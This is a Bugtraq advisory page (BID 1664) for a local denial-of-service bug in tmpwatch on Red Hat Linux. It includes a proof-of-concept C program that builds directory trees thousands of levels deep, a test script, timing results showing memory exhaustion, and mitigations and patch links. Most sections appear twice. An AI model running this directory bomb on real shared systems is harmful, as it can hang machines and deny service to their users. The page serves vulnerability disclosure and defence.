Tmpwatch Recursive Write DoS Vulnerability
BID:1664
Info
Tmpwatch Recursive Write DoS Vulnerability
| Bugtraq ID: | 1664 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Sep 09 2000 12:00AM |
| Updated: | Sep 09 2000 12:00AM |
| Credit: | This vulnerability was originally posted to bugtraq by zenith parsec <[email protected]> on September 9, 2000. |
| Vulnerable: |
Redhat Linux 6.1 i386 |
| Not Vulnerable: | |
Discussion
Tmpwatch Recursive Write DoS Vulnerability
Any user with write access to /tmp or /var/tmp, can induce tmpwatch to cause Red Hat (and others runnng tmpwatch from cron) to stop responding, and possibly require a hard reboot. This is accomplished by creating a directory tree many (ie. ~6000) nodes deep in /tmp. For each level of the directory in /tmp, tmpwatch will fork() a new copy of itself.
Red Hat affected versions:
Red Hat Linux 7.0 (tmpwatch v.2.5.1)
Red Hat Linux 6.2 (tmpwatch v.2.2)
Note:
(excerpted from Internet Security Systems Security Advisory)
"Source code comparison between the Red Hat Linux 6.2 and 7.0 tmpwatch packages
suggests this vulnerability was recognized and a fix was attempted. However,
the fix is incorrect, and the vulnerability is still exploitable.
Do not use the --fuser or -s options with tmpwatch."
Any user with write access to /tmp or /var/tmp, can induce tmpwatch to cause Red Hat (and others runnng tmpwatch from cron) to stop responding, and possibly require a hard reboot. This is accomplished by creating a directory tree many (ie. ~6000) nodes deep in /tmp. For each level of the directory in /tmp, tmpwatch will fork() a new copy of itself.
Red Hat affected versions:
Red Hat Linux 7.0 (tmpwatch v.2.5.1)
Red Hat Linux 6.2 (tmpwatch v.2.2)
Note:
(excerpted from Internet Security Systems Security Advisory)
"Source code comparison between the Red Hat Linux 6.2 and 7.0 tmpwatch packages
suggests this vulnerability was recognized and a fix was attempted. However,
the fix is incorrect, and the vulnerability is still exploitable.
Do not use the --fuser or -s options with tmpwatch."
Exploit / POC
Tmpwatch Recursive Write DoS Vulnerability
---START---cut---:a.c (mode 644)
//
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
int c=0,d=0;
if (argc!=2)
{
while(!chdir("./A"))c++;
chdir("..");
printf("c=%d removing\n",c);
while(!rmdir("./A")) {chdir("..");c--;}
if(c)printf("erm. bad thing.\n");
}
else
{
c=atoi(argv[1]);
printf("c=%d making.\n",c);
while(c--)
{
mkdir("./A",0777);
chdir("./A");
}
}
}
--END---cut-----:a.c
# ./testscript
(code follows)
---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results
--END---cut-----:testscript
If you don't want to test it manually, here you will find the results on
the tests on my machine. Who says u need an Athlon with cable or DSL. I
say "Well, it would be nice. Real nice." I also think this program would
probably die faster and more spectacularly on a fast machine with a huge
amount of memory and swap space. Oh yeah. Save anything important. And you
have to run it as root. (I think. Should probably thought of that. I'll
remember it for next time.) The crontab is an effective way of getting it
run as root. Which it wants to do anyway. At about 4am everyday.
--START---cut---:timer.results (mode 644)
c=1 making.
0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+58minor)pagefaults 0swaps
c=100 making.
0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+1797minor)pagefaults 0swaps
c=200 making.
0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+3554minor)pagefaults 0swaps
c=300 making.
0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+5308minor)pagefaults 0swaps
c=400 making.
0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
c=500 making.
0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
c=600 making.
0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
c=600 removing
c=600 making.
0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
c=700 making.
0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
c=800 making.
Command terminated by signal 2
0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (102major+18minor)pagefaults 10swaps
--END---cut-----:timer.results
(System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.)
(^C was pressed after about a minute into the 800 deep one. Several system
programs died due to memory starvation. It took a quite a while afterwards
before the console regained any usabilty. When i tried to run startx, it
refused to start. xfs had died. everything looked odd. slow motion. i
think it was because of the loadavg)
# uptime
9:00pm up 2:14, 2 users, load average: 202.28, 363.68, 186.46
---START---cut---:a.c (mode 644)
//
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
int c=0,d=0;
if (argc!=2)
{
while(!chdir("./A"))c++;
chdir("..");
printf("c=%d removing\n",c);
while(!rmdir("./A")) {chdir("..");c--;}
if(c)printf("erm. bad thing.\n");
}
else
{
c=atoi(argv[1]);
printf("c=%d making.\n",c);
while(c--)
{
mkdir("./A",0777);
chdir("./A");
}
}
}
--END---cut-----:a.c
# ./testscript
(code follows)
---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results
--END---cut-----:testscript
If you don't want to test it manually, here you will find the results on
the tests on my machine. Who says u need an Athlon with cable or DSL. I
say "Well, it would be nice. Real nice." I also think this program would
probably die faster and more spectacularly on a fast machine with a huge
amount of memory and swap space. Oh yeah. Save anything important. And you
have to run it as root. (I think. Should probably thought of that. I'll
remember it for next time.) The crontab is an effective way of getting it
run as root. Which it wants to do anyway. At about 4am everyday.
--START---cut---:timer.results (mode 644)
c=1 making.
0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+58minor)pagefaults 0swaps
c=100 making.
0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+1797minor)pagefaults 0swaps
c=200 making.
0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+3554minor)pagefaults 0swaps
c=300 making.
0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+5308minor)pagefaults 0swaps
c=400 making.
0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
c=500 making.
0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
c=600 making.
0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
c=600 removing
c=600 making.
0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
c=700 making.
0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
c=800 making.
Command terminated by signal 2
0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (102major+18minor)pagefaults 10swaps
--END---cut-----:timer.results
(System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.)
(^C was pressed after about a minute into the 800 deep one. Several system
programs died due to memory starvation. It took a quite a while afterwards
before the console regained any usabilty. When i tried to run startx, it
refused to start. xfs had died. everything looked odd. slow motion. i
think it was because of the loadavg)
# uptime
9:00pm up 2:14, 2 users, load average: 202.28, 363.68, 186.46
Solution / Fix
Tmpwatch Recursive Write DoS Vulnerability
Solution:
# chmod 400 /etc/cron.daily/tmpwatch
# chmod 400 /usr/sbin/tmpwatch
#
slocate also segfaults on that directory.
$ ./a
to delete all the ./A/A/A/A/..... directories you own.
Red Hat:
Red Hat Linux 6.2:
alpha:
ftp://updates.redhat.com/6.2/alpha/tmpwatch-2.6.2-1.6.2.alpha.rpm
sparc:
ftp://updates.redhat.com/6.2/sparc/tmpwatch-2.6.2-1.6.2.sparc.rpm
i386:
ftp://updates.redhat.com/6.2/i386/tmpwatch-2.6.2-1.6.2.i386.rpm
sources:
ftp://updates.redhat.com/6.2/SRPMS/tmpwatch-2.6.2-1.6.2.src.rpm
Red Hat Linux 7.0:
i386:
ftp://updates.redhat.com/7.0/i386/tmpwatch-2.6.2-1.7.i386.rpm
sources:
ftp://updates.redhat.com/7.0/SRPMS/tmpwatch-2.6.2-1.7.src.rpm
Trustix Secure Linux:
All users of TSL should upgrade to the new rpm:
tmpwatch-2.6.2-1tr.i586.rpm (MD5sum: 3200b3812bfe6e87f326e240fed0686a)
http://www.trustix.net/download/Trustix/updates/1.1/RPMS/
or
ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/
Mandrake:
Linux-Mandrake 6.0:
d6e7442f4c3a9af30e9158e7ae9ecf72 6.0/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 6.0/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Linux-Mandrake 6.1:
04b86f78b1bf908219c5ddc94767c7a8 6.1/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 6.1/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Linux-Mandrake 7.0:
07267b2907b9e9454a967c4323b17f17 7.0/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 7.0/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Linux-Mandrake 7.1:
04e2717f14f0b4f8f991ea9cc0926b2e 7.1/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 7.1/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Immunix:
Packages for this update for Immunix OS 6.2 (StackGuarded versions of the RedHat packages.) can be found at:
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/tmpwatch-2.6.2-1.6.2_StackGuard.i386.rpm
or
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/tmpwatch-2.6.2-1.6.2_StackGuard.src.rpm
Solution:
# chmod 400 /etc/cron.daily/tmpwatch
# chmod 400 /usr/sbin/tmpwatch
#
slocate also segfaults on that directory.
$ ./a
to delete all the ./A/A/A/A/..... directories you own.
Red Hat:
Red Hat Linux 6.2:
alpha:
ftp://updates.redhat.com/6.2/alpha/tmpwatch-2.6.2-1.6.2.alpha.rpm
sparc:
ftp://updates.redhat.com/6.2/sparc/tmpwatch-2.6.2-1.6.2.sparc.rpm
i386:
ftp://updates.redhat.com/6.2/i386/tmpwatch-2.6.2-1.6.2.i386.rpm
sources:
ftp://updates.redhat.com/6.2/SRPMS/tmpwatch-2.6.2-1.6.2.src.rpm
Red Hat Linux 7.0:
i386:
ftp://updates.redhat.com/7.0/i386/tmpwatch-2.6.2-1.7.i386.rpm
sources:
ftp://updates.redhat.com/7.0/SRPMS/tmpwatch-2.6.2-1.7.src.rpm
Trustix Secure Linux:
All users of TSL should upgrade to the new rpm:
tmpwatch-2.6.2-1tr.i586.rpm (MD5sum: 3200b3812bfe6e87f326e240fed0686a)
http://www.trustix.net/download/Trustix/updates/1.1/RPMS/
or
ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/
Mandrake:
Linux-Mandrake 6.0:
d6e7442f4c3a9af30e9158e7ae9ecf72 6.0/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 6.0/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Linux-Mandrake 6.1:
04b86f78b1bf908219c5ddc94767c7a8 6.1/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 6.1/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Linux-Mandrake 7.0:
07267b2907b9e9454a967c4323b17f17 7.0/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 7.0/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Linux-Mandrake 7.1:
04e2717f14f0b4f8f991ea9cc0926b2e 7.1/RPMS/tmpwatch-2.6.2-1mdk.i586.rpm
93541933fc92134a4954db3decbe2b31 7.1/SRPMS/tmpwatch-2.6.2-1mdk.src.rpm
Immunix:
Packages for this update for Immunix OS 6.2 (StackGuarded versions of the RedHat packages.) can be found at:
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/tmpwatch-2.6.2-1.6.2_StackGuard.i386.rpm
or
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/tmpwatch-2.6.2-1.6.2_StackGuard.src.rpm